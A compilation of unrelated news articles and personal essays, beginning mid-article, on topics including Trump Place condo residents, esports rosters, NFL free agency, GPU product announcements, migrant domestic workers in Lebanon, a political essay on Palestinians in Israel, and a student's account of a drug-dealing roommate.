meant something positive. I don’t know that that can ever be the case again.”  Trump built Trump Place after battling New York City lawmakers in the 1980s and 1990s—he called one fierce opponent of the project, councilwoman Ronnie Eldridge, “second-rate in just about every way,” and “a woman that doesn’t have a great grasp of finance or anything else.” When he went through bankruptcy in the 1990s, Trump sold the buildings to Chinese investors, who later sold their stake to the Carlyle Group and Extell Properties. (A spokesperson for the Trump campaign declined to comment.)  And so residents say that taking the Trump name down would merely accurately reflect the building’s status.  Still, they are aware that doing so would likely cost hundreds of thousands of dollars, and possibly ignite a lawsuit in retaliation from Trump.  “There are some people who would very much like to have the name taken off, but the condo board has been pushing back,” said Michael Raskob, a 10-year resident of the building. “The name is unfortunately now associated with a number of ideas that are not very appealing. We tell people it is just a name on the building but it can be embarrassing.”  Although Trump no longer owns the buildings, the Trump Organization still is charged with managing them. That arrangement means that residents of the buildings are still putting money into the reality star’s pockets. But so far there is no movement under way to switch management companies at the properties, according to residents.  “It is a fantastically run building,” added another resident, also an attorney, who expressed being torn about removing the name.  “My visceral reaction is let’s get it off of there. But what is the process? How many lawyers do we need? How much will it cost? I don’t want to bankrupt the building in the process. Trump shouldn’t have that much control over what we do.”  The presidential campaign has already left its mark on other Trump-branded entities. A similar petition effort is under way at the Trump Place rental properties just south of the condo buildings. Bookings are down 60 percent at Trump hotels and the Trump Organization recently announced that a line of new hotels would now come out under a different moniker.  But a condo building is different. It is easy to cancel a hotel reservation, or even rent an apartment elsewhere. A home is for most people their biggest single investment, and a difficult one to offload.  And the residential sales market is slow-moving, so as of yet there is no real data on how much Trump’s campaign is affecting condo sales at is buildings. According to the website Streeteasy, six units for sale at Trump’s place on 220 Riverside Boulevard recently dropped their price, as have three at 240 Riverside and six at 200 Riverside, but real-estate professionals stressed that the price drops could have had as much to do with a market slowdown as with anything related to the presidential campaign.  “These are incredibly well-built apartments. People who live there are really happy with them, they are in a great location. I think that matters more than who built them,” said Elizabeth Kivlan, president of Stribling and Associates, a luxury residential real-estate brokerage firm in New York City. “Who doesn’t want to live on Riverside Boulevard with incredible views. I think demand will always be there.”  David DeRosa, who runs his own economic research firm and has lived at one of the Trump Place buildings since 2006, said he disagreed with his neighbors who wanted to change the name out front.  “I don’t care if his name is on the building or not. We are the ones who own the building,” he said. “Things tend to get a little heated during election time. I can tell you that I would not hesitate to buy another unit in the building.”  As for the Koeppels, their plans are now up in the air. They have taken their place off the market. After moving into the building soon after it was built and raising their son there, they are now stuck. Their dreams of moving upstate have been delayed indefinitely. And they are now, partly in jest, considering a Trumpian move of their own: suing the guy whose name is on the building for bringing down their apartment’s value.  “For nearly everybody that lives here, this is their nest egg, this is their future or their retirement,” said Peggy Koeppel. “What Donald Trump has done to the value of these homes, it is enough to drive you crazy.”
-It didn’t look like a real gun. It shot plastic pellets. It was labeled “Zombie Killer.” It didn’t hurt anyone. And it was being used on private property by a seventh-grader.  Nonetheless, some officious intermeddler called the Virginia Beach police when she saw Khalid Caballo holding an air-soft gun on his front lawn. And, thanks to their Larkspur Middle School’s “zero tolerance” policy on guns, Khalid and two of his friends have received long-term suspensions.  According to the witness who called the police, Khalid and several other children were playing with the gun in Khalid’s front yard before the school bus arrived. The witness observed Khalid refining his zombie-killing skills by shooting at a target, complete with a net to catch the plastic pellets. Mind you, the caller, whose son was shot in the arm with one of the plastic pellets, could tell from a distance that the gun was not real and that the kids were playing, but she chose to call the police anyway (rather than the children’s parents) because the sight made her feel “uncomfortable.”  The police investigated. The Virginia Beach City Code provides that “no person shall use a pneumatic gun except at approved shooting ranges or within private property.” Khalid claims that he remained on private property while shooting the gun. The police demonstrated common sense by not charging anyone.  But Larkspur Middle School Principal Matthew Delaney recommended that they be expelled. In a sickeningly sanctimonious public statement, Delaney announced his intention to punish the children and professed his “sincere hope that they will learn important life lessons; the most important being that there will be consequences when they do things that can result in harm to another person.” The three students have been suspended for the entire academic year.  Khalid understands the gravity of the situation. Real gun or not, he will carry the stigma of suspension with him wherever he goes: “It’s on your school record. The school said I had possession of a firearm. They aren’t going to ask me any questions. They are going to think it was a real gun, and I was trying to hurt someone.”  The great judge Learned Hand once wrote, “Words are potent weapons for all causes, good or bad.” In the hands of thoughtless bureaucrats like Principal Delaney, they become weapons far more threatening than Khalid’s Zombie Killer. In the name of teaching students the consequences of taking actions that can (but did not) result in minor physical harm, Delaney and his callous colleagues have taken actions that stand a far greater chance of causing lasting harm to these students’ academic careers and life prospects. Shame on these “educators” for insisting upon a zero-tolerance policy that makes zero sense.  The Heritage Foundation’s project USA vs. YOU spotlights the flood of criminal laws threatening our liberties. Explore more stories of overcriminalization and find out what you can do to reverse this trend.
-dAT Team have told HLTV.org that they are back to a five-man roster following the additions of ex-HellRaisers duo Yegor "markeloff" Markelov and Aleksandr "s1mple" Kostyliev.  The MCS Open Season 1 champions had been reduced to a three-man roster following the departures of Egor "flamie" Vasilyev and Dauren "AdreN" Kystaubayev, two players who decided to further their careers in HellRaisers.  dAT Team wasted little time to find replacements for the duo and approached the two players ousted by HellRaisers, Yegor "markeloff" Markelov and Aleksandr "s1mple" Kostyliev.  B1ad3 and markeloff back together after A-Gaming times  This means that markeloff, who admitted to being fired up by his dismissal from HR and vowed to "reveal" his CS:GO potential, will reunite with former Amazing Gaming team-mate Andrey "B1ad3" Gorodenskiy.  "We are very excited to have such talented individuals on our team," dAT captain Andrey "B1ad3" Gorodenskiy told HLTV.org. "This is a new page in the history of our team and it looks very promising. Each and every one is extremely motivated, and we are looking forward to 2015. "Welcome and thank you, my friends!"  dAT Team will be taking part in SLTV StarSeries XII, in which they have been drawn in Group C, alongside x6tence, Titan and Natus Vincere.  With these changes, dAT Team now have:  Related videos:
-Turns out the Pot Roast was undercooked.  Long believed to be a natural fit for the Raiders, free-agent defensive tackle Terrance “Pot Roast” Knighton said Tuesday that he will not be rejoining former coach Jack Del Rio in Oakland.  Knighton had followed Del Rio from Jacksonville to Denver, and the run-stuffer had expressed an interest in joining the coach again, but negotiations ended Tuesday afternoon.  “The Raiders made me an offer, but it’s not close to what I was looking for,” Knighton told ESPN. “So, as of right now, the Raiders … are out of the race.”  Knighton, 28, started every game for the Broncos the past two seasons and was said to be seeking $8 million a year. The Raiders were thinking closer to $6 million, considering Knighton comes off the field on 3rd-and-long downs.  Oakland was looking at Knighton or Arizona’s Dan Williams as Plan B to Ndamukong Suh, the prize of the free-agent pool who signed with the Dolphins. Williams visited the Raiders on Tuesday night and is expected to sign.  The Raiders came into NFL free agency $66 million under the cap, but have only one new impact starter to show for it. Oakland agreed to a five-year, $44.5 million deal with former Kansas City center Rodney Hudson on Monday.  General manager Reggie McKenzie did add three role players Tuesday. Outside linebacker Malcolm Smith, the Super Bowl XLVIII MVP for the Seahawks, could compete for a starting job at middle linebacker, and former Buffalo tight end Lee Smith is an accomplished blocker.  The Raiders also agreed to terms with backup running back Roy Helu, who spent his first four seasons with Washington. Helu is getting $4 million for two years.  The Danville native had 42 receptions for 477 yards and two touchdowns, and 40 carries for 216 yards and a touchdown last season. Helu provides a different look than running back Latavius Murray and fullback/H-back Marcel Reece in new offensive coordinator Bill Musgrave’s up-tempo offense.  The Raiders also are close to signing former Cincinnati tight end Jermaine Gresham, who also visited Tuesday night.  Malcolm Smith, 25, played for new Oakland defensive coordinator Ken Norton Jr. last year in Seattle. Smith started five games last season after he won Super Bowl MVP honors for returning a Peyton Manning interception 69 yards for a touchdown.  Lee Smith, 27, signed a three-year, $9 million deal.  Vic Tafur is a San Francisco Chronicle staff writer. E-mail: vtafur@sfchronicle.com Twitter: @VicTafur
-Compute/Visualization Server: finance, oil exploration, aeronautics and automotive, design and engineering, geophysics, life sciences, medicine and defense  Double precision: genetic sequencing, computational fluid dynamics, structural mechanics, numeral analytics, reservoir simulation, automated reasoning and weather forecasting  Single precision: seismic processing, molecular dynamics, satellite imaging, explicit crash test simulation, video enhancement, signal processing, video transcoding, digital rendering and medical imaging  Ultra High-end Workstation (Requiring GPU compute and 3D graphics performance): Oil and gas, computer aided engineering  AMD today announced the new AMD FirePro S10000 12 GB Edition graphics card, designed for big data high-performance computing (HPC) workloads for single precision and double precision performance. With full support for PCI Express 3.0 and optimized for use with the OpenCL compute programming language, the AMD FirePro S10000 12 GB Edition GPU features ECC memory plus DirectGMA support allowing developers working with large models and assemblies to take advantage of the massively parallel processing capabilities of AMD GPUs based on the latest AMD Graphics Core Next (GCN) architecture. AMD FirePro S10000 12 GB Edition GPU is slated for availability in Spring 2014.The AMD FirePro S10000 12GB Edition graphics card is a compelling solution for a variety of scenarios:"Our compute application customers asked for a solution that offers increased memory to support larger data sets as they create new products and services," said David Cummings, senior director and general manager, Professional Graphics, AMD. "In response, we're announcing the AMD FirePro S10000 12 GB Edition graphics card to meet that additional memory demand with support for OpenCL and high-end compute and graphics technologies.""AMD is proving again to be a key player in providing outstanding 3D graphics and GPGPU compute solutions based on the OpenCL Khronos Group standard for the industry with the announcement of the new AMD FirePro S10000 12 GB graphics card," said Nicolas Duny, VP R&D Technologies, Dassault Systèmes. "AMD is an industry innovator by responding to our customers' needs with cutting edge technology. The AMD FirePro S10000 12 GB card will be a welcome addition to the market and to our customers.""Our customers are always eager for additional memory, so the introduction of the AMD FirePro S10000 12 GB Edition graphics card means key applications will finally be able to take advantage of the graphics compute capabilities," said Laurent Bertaux, CEO, CAPS. "As a leading provider of software and solutions for the HPC community, CAPS recognizes that this is a great opportunity for customers to reduce the potential for the bottleneck of data transfer, thus improving overall application performance. CAPS is a long-time AMD supporter so we're pleased that CAPS FORTAN and C compilers for OpenCL can immediately make full use of the 12GB memory offered in this new AMD FirePro solution."The current AMD FirePro S10000 graphics solution with 6 GB of GDDR5 memory has received great acclaim. For example, the University of Frankfurt's Institution of Advanced Studies use of the card with the SANAM supercomputer ranks in the top five on the Green500 List as one of the most powerful and energy-efficient supercomputers powered by graphics processors.The AMD FirePro S10000 with 6 GB of memory is currently available for purchase while the AMD FirePro S10000 12 GB Edition graphics card is slated for availability in Spring 2014.
-Fabio Capello: Former England boss has reportedly travelled to Russia to hold talks with Anzhi Makhachkala  Former England coach Fabio Capello could be set for a swift return to management amid reports he has travelled to Russia to hold talks with Anzhi Makhachkala.  Reports in both Italy and Russia claim that Capello has arrived in Moscow to discuss the Anzhi post just days after quitting as England boss.  Capello resigned his role with the Three Lions on Wednesday following his criticism of the Football Association's decision to strip John Terry of the England captaincy.  The 65-year-old was a target for mega-rich Anzhi during his time in charge of England and he could now take over the ambitious Russian club.  According to reports, Anzhi have sacked current boss Yury Krasnozhan, although there has been no official confirmation of the decision.  Krasnozhan only became Anzhi boss in December and the club say that his future will be decided on Monday amid the growing speculation concerning Capello.  "There will be changes in the club staff," said Anzhi deputy president German Chistyakov. "We have serious reasons for those changes."  Speculation also suggests that Anzhi officials have travelled to Italy to hold talks with Inter Milan regarding a stunning swoop for Dutch playmaker Wesley Sneijder.  Anzhi have previously signed Samuel Eto'o from the Serie A club and the Russian transfer window remains open until later this month.
-Anna Fernando struts down the black-and-white tiles of a trendy coffee shop in the Lebanese capital, dressed in high heels and a strapless ball gown of caramel gauze ribbons.  The 43-year-old left her native Sri Lanka 21 years ago to work as a maid in Lebanon, determined to provide her children with better opportunities in life than her own.  On her day off this weekend, she joined a dozen other domestic workers at a modeling show in central Beirut organized by local NGO Insan, Arabic for "human being."  "Even if I work like a maid, I'm a human being," Anna says backstage, her eyes thick with mascara before her name is called to show off the work of young Lebanese designers.  Sunday's fashion show is part of an effort to humanize an estimated 250,000 foreign domestic workers who toil in the kitchens and living rooms of Lebanese families.  Now in its fourth year, the show aims to give participants the opportunity to be seen as something other than the hired help.  "In Lebanese society, they live like all other women when they're not at work," says Randa Dirani, one of the organizers.  Rights groups often accuse Lebanon and Gulf states of racist and degrading treatment of migrant domestic workers, who are often referred to simply as "servants" or "Sri Lankans", regardless of their actual nationality.  - 'Not only domestic workers' -  Most overseas workers work under a restrictive sponsorship system called "kafala" that leaves them dependent on their employer's goodwill and unable to escape abusive work relationships.  Domestic workers are not protected by Lebanese labor law, despite the efforts of a new union begun for them early last year with the support of the country's federation of labor unions.  "At this fashion show we want to tell all these people we are not only domestic workers," Sumy Khan from Bangladesh says.  The 22-year-old with short hair and tattoos says she would have loved to have studied journalism at home in Bangladesh, but that she had to leave two years ago to support her family.  As she paraded down the catwalk in a short cream-and-white jumpsuit between Lebanese and foreigners huddled along its edge, cameras in hand, her friends whooped and clapped in support.  The fashion show is just one of several civil society initiatives that seeks to combat often discriminatory and exploitative attitudes towards domestic workers.  Last year, a domestic help agency in Lebanon put out an ad on Mother's Day that was slammed by activists as racist and wildly dehumanizing.  "For Mother's Day indulge Ur Mom & offer her a housekeeper. Special offer on Kenyan & Ethiopian nationalities for a period of 10 days," read a text message sent to thousands of mobile phone users and subsequently picked up by media.  The American University of Beirut last year surveyed 1,200 employers in Lebanon on their views of domestic workers, and Lebanese rights group Kafa has turned the results into an online campaign.  "Fifty-one percent of Lebanese women think (their) domestic worker is not trustworthy -- although she takes care of their children," goes one line.  - 'Now a migrant chef' -  Standing out among the models on Sunday, Alix Lenoir, a 20-year-old Franco-Lebanese student of industrial design, says she decided to join to connect with other participants.  "I think it's a shame that these women in our society in Lebanon have had a little of their confidence taken away from them," she says.  "When they go out, they go out among themselves -- not with other people."  By the end of the evening, Lenoir is hugging one of her fellow models -- 18-year-old Iman Bachir, the daughter of migrant workers from Sudan -- and promising to meet up soon.  Fernando says her sacrifice of living away from her family for two decades has paid off.  Today, her 21-year-old daughter is studying pharmacology and her 22-year-old son is about to graduate as an army officer in Sri Lanka.  And she is starting up a small catering business.  "People love Sri Lankan food. It's delicious, full of spices, and very good for you," reads her business card, on which her name sits in a circle of fresh herbs, chillies and spices.  She cooks Sri Lankan, Indian and Nepali dishes, the card says, and Lebanon-based foodies can order fluffy rice and fragrant curries by phone, via email or Facebook.  "I'm now a migrant chef," she says.
-Having failed the qualifiers for the International tournament HellRaisers took a long vacation. Having returned, our team started looking for two new players, who could take the place of those, who had left our forces.  Today the HellRaisers team is proud to announce that a new Dota 2 team with Daniil «MeTTpuM» Gileev and Maksim «Shachlo» Abramovsky. The organization, fans and the management put big hopes upon these boys and that together with two new players, HR will get back into the number of the strongest team in the world.  Daniil «MeTTpuM» Gileev, HR.Dota2's comment:  «The main goals are Napoleonic. If we talk about the short-range plans, they are to take the top places at some LANs, get the experience there and as a result reach the major tournament. The relationships in the team are good, there is nothing to complain about. I want to believe that it will go this way in the future. We have a combative mood and we are motivated for 200%. I will play, destroy wards, slow down and stun enemies. In general I will say that I'm here, in this team, for a reason and I will do my best to give my 20% for a victory!».  Maksim «Shachlo» Abramovskikh, HR.Dota2's comment:  «The number one goal at the moment is, obviously, the autumn major tournament. To reach it, I, as well as the team, will have to work hard. Luckily after a half of a year break from the competitive Dota the motivation to win everything is running very high. I'm very happy to join this friendly team and I hope that I will not fail the boys».  Maksim Bernadsky, the general manager of HellRaisers' comment:  «Our organization counts on the perspective players. The boys from the new roster are to prove everyone that they deserve to play at the top level. The organization in its turn will do its best to let players come to the official matches with thoughts only about the game. Cheer for HellRaisers!».  The transfer window in Dota 2 is coming to the end. An endless number of different tournaments and qualifiers for the first major, which our team will definitely take part in, will start very soon.  New HellRaisers.Dota2 roster:  Andrey «Dread» Golubev  Andrey «Afoninje» Afonin  Dulat «goddam» Seidimomyn  Daniil «MeTTpuM» Gileev  Maksim «Shachlo» Abramovskikh  Cheer for HellRaisers!
-The US has tried to bolster the Afghan government in Helmand Province with air support in their fighting against the Taliban, but the support appears to have gone horribly wrong today, as a US drone attacked and killed at least 15 Afghan police.  The airstrike was targeting what the US thought was a Taliban compound in Helmand’s Gereshk District, but was actually a site used by Afghan security forces to meet and plan operations against the Taliban. A number were inside when the US attacked.  Death tolls still aren’t totally finalized, but Helmand Governor Hayatullah Hayat confirmed that two top police commanders were among the slain. The Afghan government suggested no soldiers were among the slain, and that it was only the local and provincially-provided police forces that sustained casualties.  The Pentagon expressed condolences for “the unfortunate incident,” but provided no indication as to why they attacked the compound, simply terming the attack part of a “US-supported operation.” Either way, this likely derails the anti-Taliban operation that was ongoing in the district.  Last 5 posts by Jason Ditz
-Asus and Nvidia Announce Purpose-Built Cryptocurrency Mining GPUs  Leading graphics processing unit (GPU) manufacturers Asus and Nvidia have announced the release of new GPUs targeting the cryptocurrency mining market.  Also Read: Sapphire Technology Announce Production of Graphics Cards Designed Solely for Cryptocurrency Mining  The Announcements Follow Sapphire Technology Becoming the First GPU Producer to Target Cryptocurrency Miners  GPU manufacturing giants Asus and Nvidia have announced the release of purpose-built graphics processing units specialized for cryptocurrency mining.  Taiwan-based manufacturer Asus is launching two graphics processing units designed specifically for cryptocurrency mining, with one unit claiming an increased hashrate of 36% when compared with GPUs that are not optimized for cryptocurrency mining. Both graphics processing units only feature a single display port, meaning that they have very limited functionality for conventional purposes. American-based Nvidia will release a single specialized GPU, and will not feature display outputs.  The announcements follow Sapphire Technology becoming the first GPU producer to manufacture a graphics processing unit exclusively for cryptocurrency mining. Sapphire Technology will offer five specialized units, none of which will feature display output hardware.  The recent explosion in price enjoyed by bitcoin and other cryptocurrencies has created a global surge in demand for mining hardware. The demand has resulted in GPU shortages in many countries, in addition to enormous price hikes. Retailers and manufacturers have been completely unable to meet demand, creating growing frustration among gamers.  Purpose-Built GPU Mining Hardware Will Allow Manufacturers to Meet Mining Demand Faster and Reduce Production Costs  The announcement that companies will be producing purpose-built graphics cards for cryptocurrency mining is likely designed to alleviate the flood of demand that is currently making it difficult for Asus and Nvidia’s loyal gamer customers to access their products. Producing limited functionality cryptocurrency mining specialized GPUs will also create an opportunity for the companies to cash in on the nascent cryptocurrency economy.  Although purpose-built GPU mining hardware will allow manufacturers to meet demand faster, and reduce production costs, the limited or nonexistent display functionality of the specialty GPUs will make cryptocurrency miners unable to flip their old hardware into the second-hand gaming market when making future upgrades.  With bitcoin and other cryptocurrencies continuing to make mainstream headlines daily, it is unlikely that consumer demand for graphics processing units will slow anytime soon. The production of GPUs that are purpose-built for cryptocurrency mining allows for manufacturers and retailers to more effectively manage demand, resolidify their gaming customers, and facilitates more efficient delivery of hardware to the cryptocurrency mining market. It is likely that mining-specific GPU production will enjoy considerable growth in coming years as greater cryptocurrency coverage in the mainstream media attracts an expanding industry demographic of ‘hobbyist’ miners.  Do you think that purpose-built GPUs for cryptocurrency mining will allow manufacturers and retailers to better meet graphics card demand? Share your thoughts in the comments section below!  Images courtesty of Shutterstock and Wikipedia  Want to create your own secure cold storage paper wallet? Check our tools section today.
-Attorney Sabri Jiryis (L) and Sam Bahour standing on the rooftop of the 105 year old Mar Elias Church in the Palestinian village of Fassouta which is located in the western Galilee. The South Lebanon skyline is in the background.  The horrendous reality of the Palestinian communities inside Israel—in places like Akka, Haifa, Nazareth, Yaffa, and the Negev—is not about being regulated to sit in the back of the bus; they could only wish for such blatant racism. Here, the racism is multilayered, ideological, well-camouflaged, state-sponsored, and non-stop. Anyone who thinks that resolving the Israeli military occupation in the West Bank and Gaza Strip would bring peace to the region would be well-advised to peel away the veneer of democratic façade, one that covers an Israeli plan with only one goal in mind: completing the campaign of ethnically cleansing Palestinians that started with the creation of the State of Israel.  Last week, on a beautiful fall day, I sat in a friend’s living room in a village at the northern tip of Israel, adjacent to the Lebanese border, in the part of Israel called the Galilee. This is where the Palestinian citizens of Israel are concentrated. Five generations of Palestinians were sitting in the room. As expected in Palestinian society, within no time, politics was the focus of the discussion. But this political discussion had a different twist from what most of those following this conflict are accustomed. The issues had to do with the Palestinian citizens of Israel and how the Israeli government systematically and structurally discriminates against them.  Bilateral negotiations between the Palestinians and Israelis, better known as the infamous Oslo Peace Process, began with a slogan (and accompanying actions on the ground) of Gaza and Jericho First. The idea was that the Palestinian Authority, which the Oslo Accords created, would start by being set up in the Gaza Strip and in the West Bank city of Jericho, a sort of pilot phase before subsequently deploying to all of the Palestinian areas defined in the Accords. The standing joke at the time was that what Israel, the military occupying power, really meant was Gaza and Jericho Only!  With 20 years of a never-ending “peace process,” Israeli misdirection diverted the world’s attention, including the Palestinian leadership’s, away from the discriminatory workings within Israel itself. As the parties quibbled over who violated the Oslo Agreement first and most, Israel never stopped strangling the Palestinian towns and villages inside it. More recently, even some of the mainstream, international research outfits, such as International Crisis Group (ICG), were forced to take note. Their March 2012 report titled, “Back to Basics: Israel’s Arab Minority and the Israeli-Palestinian Conflict,” stated:  “World attention remains fixed on the Israeli-Palestinian conflict but a distinct, albeit related, conflict smoulders within Israel itself. It might be no less perilous. Jewish-Arab domestic relations have deteriorated steadily for a decade. More and more, the Jewish majority views the Palestinian minority as subversive, disloyal and – due to its birth rates – a demographic threat. Palestinian citizens are politically marginalised, economically underprivileged, ever more unwilling to accept systemic inequality and ever more willing to confront the status quo.”  That’s researcher-talk for “A slow and calculated campaign of displacing an entire population in broad daylight—world, take note.”  As one travels northward in Israel, a stark reality cannot be ignored. Israel is empty. Most of the lands which comprise the State of Israel, as it is recognized worldwide, are empty of any population. The sad irony is that less than one hour’s drive north of where we were sitting, hundreds of thousands of Palestinian refugees, who, since 1948, have been prohibited by Israel from returning to their homes, dwell in squalid refugee camps, waiting for international law and UN resolutions calling for their return home to be respected. Dr. Salman Abu Sitta, a Palestinian researcher with the Palestine Land Society, and a refugee himself, has extensively documented this phenomenon of empty lands in Israel, lands that Palestinian refugees call home. The undeniable fact is that allowing Palestinian refugees to return home would disrupt very little on the ground in Israel. It would, however, threaten the very basis of its existence as an exclusively Jewish state and create a demographic majority of Palestinians—a normal expectation, given that they were the majority in 1948 prior to being expelled.  Another startling realization, when traveling around the Palestinian farming villages in the Galilee, is that the hilltops are dotted with gated, Jewish Israeli communities and Israeli government-declared nature reserves, all creating a physical barrier to the natural growth of the indigenous Palestinian communities. Added to these physical obstructions to Palestinian development, Israeli law provides for another platform, a legal one, whereby hundreds of Israeli communities can keep out Palestinians on cultural grounds. Coming from the occupied territory of the West Bank, these physical obstacles and legal tools looked to me much like the illegal, Jewish-only settlements that surround every Palestinian city. The physical location of both types of these residential colonies is not random, but rather a sharp demographic weapon to interrupt and stunt the growth of the Palestinian communities.  While hearing the tribulations of Palestinian communities in Israel, I was reminded of another jarring fact: Israel detains and arrests Palestinians for their thoughts. One of the persons I was with, a 64-year-old man, was released a few years back after spending two years without charges in an Israeli prison. On my way home, I stopped in Haifa and, while speaking to a new business acquaintance there, he reminded me of another case: Ameer Makhoul, a Palestinian Christian citizen of Israel and the director of Ittijah, the Union of Arab Community-Based Associations, who, like so many others, is imprisoned in Israeli jails after an unfair trial aimed at striking fear into an entire minority community in Israel. Also, just as in the areas under military occupation, Israel tends an army of collaborators within the Palestinian communities to do their bidding for them.  I wanted to engage more, but had to head back home to the West Bank.  Now that I’m a Palestinian ID holder, which means I have West Bank residency status issued by the Israeli occupation authorities, I can’t be in Israel as a tourist. My U.S. citizenship—my only one—is useless now that I am classified as a West Bank Palestinian in the Israeli government’s eyes. Israel is the only place on earth where I can’t be an American! Thus, my Israeli military-issued permit, which allows me to enter Israel, restricts my movement so that I have to be back by 10 in the evening to what I call my cage, also known as the metropolitan area of Ramallah.  What is now clear to me, and wasn’t when I first arrived here shortly after Oslo, is that the system of command and control, which oppresses over four million Palestinians under military occupation, is strikingly similar to the system which controls over one million Muslim and Christian Palestinians inside Israel.  The Israeli goal is to erase Palestinian collective memory, limit Palestinian education, squeeze Palestinian living space, and strangle any serious notion of Palestinian economic enterprise. But Palestinians are not going anywhere. This was confirmed when I asked a law student from this Galilaean village where he plans to be in five years. Without hesitation, he said, “Here, in my village, and not for the next five years, but for the next 10 and 20 and 100 years.”  After hours of deep discussion in that quiet Palestinian village, tucked away in the velvet-like green hills of the Galilee, a Palestinian researcher, who was quiet for most of the time, spoke in a calm, definitive voice. He said that everything we were discussing, in terms of how much harm Israel is doing to Palestinians living in Israel and under military occupation, is true, but in the village, the numbers speak volumes. Over the past 64 years, since Israel’s creation, and despite all of its attempts to force the Palestinians off the land, the population has increased as per official Israeli statistics. As long as the Palestinians exist on this land, he asserted, their rights are bound to be realized.  All the way home, I could not get out of my mind a new political slogan that would reveal the extent of the Palestinian tragedy — The Galilee First. Instead of managing the conflict as if the only contentious issue is about those of us living under Israeli military occupation, the international community, and Palestinian leadership as well, should call for the world to witness the reality of Palestinians inside Israel. If Israel is bent on discriminating against one fifth of its own citizens, what should we expect of it in the occupied territories, areas that are not internationally recognized as Israel? Indeed, the next time I’m asked what I think the solution to this conflict is, my answer will be ready: Let’s start with full equal rights for Palestinians inside Israel. In other words, The Galilee First if Israel is serious about peace and truly desires historic reconciliation with the Palestinians.
-It was 2:30pm and I had just walked back to my dorm in Prague where I was studying that semester. I got back to my desk, got on AIM as usual to check in with friends when a friend began unraveling something happening back home. Her facts were sporadic, but no doubt horror resounded from her words. All I could do was refresh CNN and MSNBC for any news on what was actually happening.  As news of the shooting leaked, the gravity unfolded and reality hit. A familiar last name -a friend’s sister had been killed. Another- a brother in my fraternity, whom had joined that semester, was missing. Emails of her whereabouts went on for the next 24+ hours through our listserv. She was later identified among the victims. From the rotating images flooding the media, I recognized a friend being carried out of Norris Hall. She survived. One by one, details unfolded and people were identified to the world.  The next 48hours I camped in the dorm lobby, staring at CNN’s endless images surrounding my campus. The oddity of seeing such a familiar and personal place displayed worldwide was unexplainable. I Skyped constantly with family and friends, and students from other schools reached out, but I felt helpless. I could not be there. I could not help. I could not grieve with my friends. I could not hug or console them. But I also felt guilty. I felt I didn’t have a right to be as upset or distressed by the events because I was not physically there.  The air had changed…encouraged us to be better citizens of the world  Then a different reality hit. After a few days, the rest of the world had moved on. It was already “yesterday’s news”. I was angry and upset and it was hard to comprehend that, although my world was frozen in turmoil, others went about business as usual. Such events did not hold the same weight outside Blacksburg, outside the US, and it forced me to view things from an outsider’s perspective.  I cut my semester short and went back home but the arrival on campus was haunting. All of the memorials and signs, it was all surreal. It was no longer a carefree college environment. The air had changed. Everyone changed that day. But through this tragedy, that change brought some good. It strengthened us, brought people together, made people understand the fragility of life and loved ones, and encouraged us to be better citizens of the world. To live for 32.
-I was fast asleep when suddenly I was awoken by a pounding on the door. This was not a knock like, “Hey, what’s up?” or even, “I really need to talk to you.” This was a knock that said, “I am going to get in there, and when I do, it’s gonna suck to be you.” The person outside the door was screaming for my roommate. I looked over to him.  "Don't open the door!"  I asked who it was.  "Just don't open the door."  I've never been so terrified in my life.  My roommate called the cops, but it took a while for them to get there. The knocking stopped—a ploy. We could still see the shadow of two feet under the door. He stood out there, stark still and silent. Then the knob started to slowly turn. He was trying to get in. A few minutes before the cops arrived, he left. Honestly, that night had been coming  a long time.  When I first met my roommate freshman year, I was cautiously optimistic. He seemed nice enough. I thought I could chill with him, even after he starting talking about drugs the first week of class. I had never done any. The first time he had ever smoked weed was during senior week, and he began to smoke more regularly over the summer. When I met him he smoked twice a week.  Eventually, he was smoking almost every night out the window of the men’s bathroom. He would come back giggling and stay up all night playing online poker. He also experimented with other substances, like Adderall—to help him stay awake for gambling and more weed.  He and his buddies would even strangle each other to the point of passing out to get high off the oxygen deprivation. I’m not exactly sure when he started dealing.  He would get visits from strange girls, beautiful girls who he would bang that night then never see again. Most of them brought little gifts: cigarettes, teddy bears, etc. I thought he just had serious game.  During the third month of school I talked to the resident assistant (RA) and, without naming specifics, told him that I was very uncomfortable with my roommate. My RA told me my only recourse was to file a formal complaint, but my roommate was popular on the floor. I didn’t want to be the one getting him thrown out. Not to mention the paperwork; finals were coming up.  Then, one night, early in the spring semester, he and his buddies were in my room again, high, watching the movie Blow. Then, “Let’s get some coke!” I told him no way, no way are you doing coke in my room. He ran out of the room with his “connection” on the phone and didn’t come back that night.  One day I came back from class and he and his buddies were doing lines off one of his textbooks and asked if I wanted a hit. It was the first time I had ever seen cocaine in real life, and it was far from the last.  He continued to deal weed, coke too for all I know, even to strangers from the neighborhood. Many times during the next weeks I would corner him and demand that he stop doing drugs and stop dealing. The answer was always the same: “Yeah, man. I know. These drugs are really messing up my life. I’m going to stop this week. I really need to stop.” And, within a few days, he’d be snorting in my room again. He never even made an effort. He just gave me the same speech to get me off his back, and it worked.  Honestly, he had a good racket, getting laid by a different beautiful girl every night, money rolling in. He didn’t even have to go to class because he had ringers going and taking his tests for him in exchange for drugs. But the low point came the night of the knocking on our door. report this ad  Days after the incident, the RA pulled me aside. He told me he knew what was going on in our room. He told me my roommate was smoking out of the floor’s bathroom window. He had strangers coming to our room at all hours. He told me that it was only a matter of time before my roommate got busted, and he told me if my roommate went down and I knew about his activities and hadn’t  reported them, I’d be expelled with him and probably subject to legal action.  Then I was approached by the cops, who told me the same thing. But they also told me they wanted to catch him in the act. And they wanted me to be the rat.  I didn't want to be a snitch. Not because of some “Stop Snitching” code, but because I knew what would happen to me. I would be completely ostracized from the campus community, hated in the entire building. And my roommate might send someone after me.  But the cops were persistent, and eventually wore me down. We worked out this elaborate plot, seemingly straight from the movies. When a deal went down in the room I’d call the cops on speed dial and hang up. Minutes later, cops would burst into the room and bust both of us. I would be thrown into a cop car, taken to jail and fill out paper work. I would spend the night in jail, just enough time to convince my roommate and the other residents that I wasn’t in on it. Then they’d slip me out the back door and home.  I sat through several deals, but was too scared to make that call. Once, I had my finger on the button, but the buyer left too quickly. And I never did get the chance. His parents somehow caught wind of his addiction and pulled him out of housing to get him into rehab.  He had put me through hell my freshman year. He went from a casual user, to a dealer, to a completely dependent addict and near convict in less than a year. And I had front row seats to the whole episode. D.A.R.E. can never give you an education like that.  My ex-roommate called me a few months ago. Of course I never returned it. But I’ve heard he’s dropped out of school to play cards in Baltimore.  College Drug Busts  The sale of illicit substances on college campuses nationwide is more prevalent than you might think. That point was made shockingly clear by the May bust of a massive drug ring at San Diego State University. Ninety-six people, including seventy-five students, were arrested in the largest campus drug bust in U.S. history. While this was the largest bust, the raid on SDSU 